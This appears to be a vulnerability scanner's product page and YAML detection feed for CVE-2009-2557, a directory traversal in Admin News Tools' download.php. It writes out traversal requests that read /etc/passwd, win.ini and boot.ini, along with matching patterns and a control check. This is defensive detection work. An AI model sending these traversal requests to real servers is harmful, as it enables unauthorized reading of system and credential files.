Admin News Tools — 1 vulnerability check

noctis ships 1 vulnerability check for Admin News Tools, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Admin News Tools system/download.php Directory Traversal

CVECVE-2009-2557
Severitymedium · CVSS 5.0
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/admin-news-tools/CVE-2009-2557.yaml

Tests Admin News Tools 2.5 for the unauthenticated arbitrary file read in news/system/download.php, which passes the fichier parameter straight to readfile(). The feed requests system/download.php under the usual news folder locations (/news, the web root, /ant/news, /adminnewstools/news) with fichier set to a ../ sequence ending in etc/passwd and, when no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in the reply confirms the read. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/system/download.php?fichier=../../../../../../../../../../etc/passwd
  2. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/system/download.php?fichier=./../../../../../../../../../../windows/win.ini
  5. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  6. HTTP(S) request GET {{dir}}/system/download.php?fichier=./../../../../../../../../../../boot.ini
  7. Checks bootini_r.body for (?i)\[boot loader\]
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{dir}}/system/download.php?fichier={{ctrl_path}}
  10. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  11. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: Admin News Tools system/download.php Directory Traversal (CVE-2009-2557)
  12. Checks win_file for ^(windows/win\.ini|boot\.ini)$ → finding QoD 75: Admin News Tools system/download.php Directory Traversal (CVE-2009-2557)

References:

Feed source — tests/vulnerabilities/admin-news-tools/CVE-2009-2557.yaml
# Admin News Tools system/download.php fichier directory traversal — CVE-2009-2557
#
# Admin News Tools 2.5 (a French PHP news script, unmaintained) ships
# news/system/download.php, which sends a Content-Disposition header built
# from basename($_GET['fichier']) and then calls readfile($_GET['fichier'])
# with no check and no login, so "../" sequences (or an absolute path) read
# any file the web server user can read (advisory: exploit-db 9153).
#
# Detection (benign, read-only): GET
#   <news dir>/system/download.php?fichier=../../../../../../../../../../etc/passwd
# and match the CONTENT of /etc/passwd; when the script answers but no passwd
# line comes back, the Windows files windows/win.ini, then boot.ini, through
# "./../../…". QoD 75 (response analysis). readfile() returns the file as-is.
#
# Improvements over the source NASL:
#   - Ten "../" levels instead of five/six: extra levels stop at the root, so
#     installs nested deeper than six directories are still read.
#   - The NASL needs its Admin News Tools detection first and picks the
#     Linux or Windows file list from OS detection; the feed probes the usual
#     news/ folder locations directly and tries the Windows files whenever the
#     Linux read gives nothing.
#   - A control request (same parameter, a path in an absent random directory
#     that still ends with the file that hit) must come back WITHOUT any of
#     these files; a blanket responder or a honeypot keying a fake file on the
#     file name or path suffix is not reported (fail-closed: no control reply → no finding).
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVEs: the NASL lists CVE-2009-2557 (download.php file read) and
# CVE-2009-2558 (system/message.php lets anyone post news). Only the file read
# is proven; posting a news item writes to the site, so CVE-2009-2558 is not
# exercised and not named. CVSS: CVE-2009-2557 v2 5.0 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_admin_news_tools_mult_vuln_jul09.nasl
# (OID 1.3.6.1.4.1.25623.1.0.900905, GPL-2.0-only).
uid: f6677e38-bdb2-4d90-9713-69b7ec365e0e
name: "Admin News Tools system/download.php Directory Traversal (CVE-2009-2557)"
description: |
  Tests Admin News Tools 2.5 for the unauthenticated arbitrary file read in
  news/system/download.php, which passes the fichier parameter straight to
  readfile(). The feed requests system/download.php under the usual news
  folder locations (/news, the web root, /ant/news, /adminnewstools/news) with
  fichier set to a ../ sequence ending in etc/passwd and, when no passwd
  content comes back, windows/win.ini and then boot.ini. The content of the
  file in the reply confirms the read. A control request for an absent random
  file through the same parameter must not return any of these files, so a
  server that serves the same content on every request is not reported. Only
  world-readable system files are read. The account name (unless root),
  password field and gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-2009-2557]
cvss: 5.0
severity: medium
category: file-read
confidence_base: 0.30
tags: [admin-news-tools, php, path-traversal, directory-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-2557"
  - "https://www.exploit-db.com/exploits/9153"
  - "http://www.securityfocus.com/archive/1/504949/100/0/threaded"
  # OpenVAS/Greenbone NASL 2009/gb_admin_news_tools_mult_vuln_jul09.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per news folder location.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/news", "", "/ant/news", "/adminnewstools/news"]

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/system/download.php?fichier=../../../../../../../../../../etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        if passwd_m.captures[0] == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
  # script answered (200) and the Linux read gave nothing ───────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/system/download.php?fichier=./../../../../../../../../../../windows/win.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status == 200'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/system/download.php?fichier=./../../../../../../../../../../boot.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit (etc/passwd, windows/win.ini or boot.ini), so a honeypot
  # that keys a fake file on that name or path suffix answers it too.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/system/download.php?fichier={{ctrl_path}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "Admin News Tools system/download.php Directory Traversal (CVE-2009-2557)"
        description: "An unauthenticated request to system/download.php with fichier set to a ../ sequence ending in etc/passwd returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the site's configuration with its database password."
        remediation: "Remove Admin News Tools (unmaintained) from the server, or at least delete news/system/download.php or make it serve only basename() of fichier from the upload directory, and restrict access to the news/system/ folder."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/system/download.php?fichier=../../../../../../../../../../etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "Admin News Tools system/download.php Directory Traversal (CVE-2009-2557)"
        description: "An unauthenticated request to system/download.php with fichier set to a ../ sequence ending in a Windows system file returned that file's content, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the site's configuration with its database password."
        remediation: "Remove Admin News Tools (unmaintained) from the server, or at least delete news/system/download.php or make it serve only basename() of fichier from the upload directory, and restrict access to the news/system/ folder."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/system/download.php?fichier=./../../../../../../../../../../{{win_file}} returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub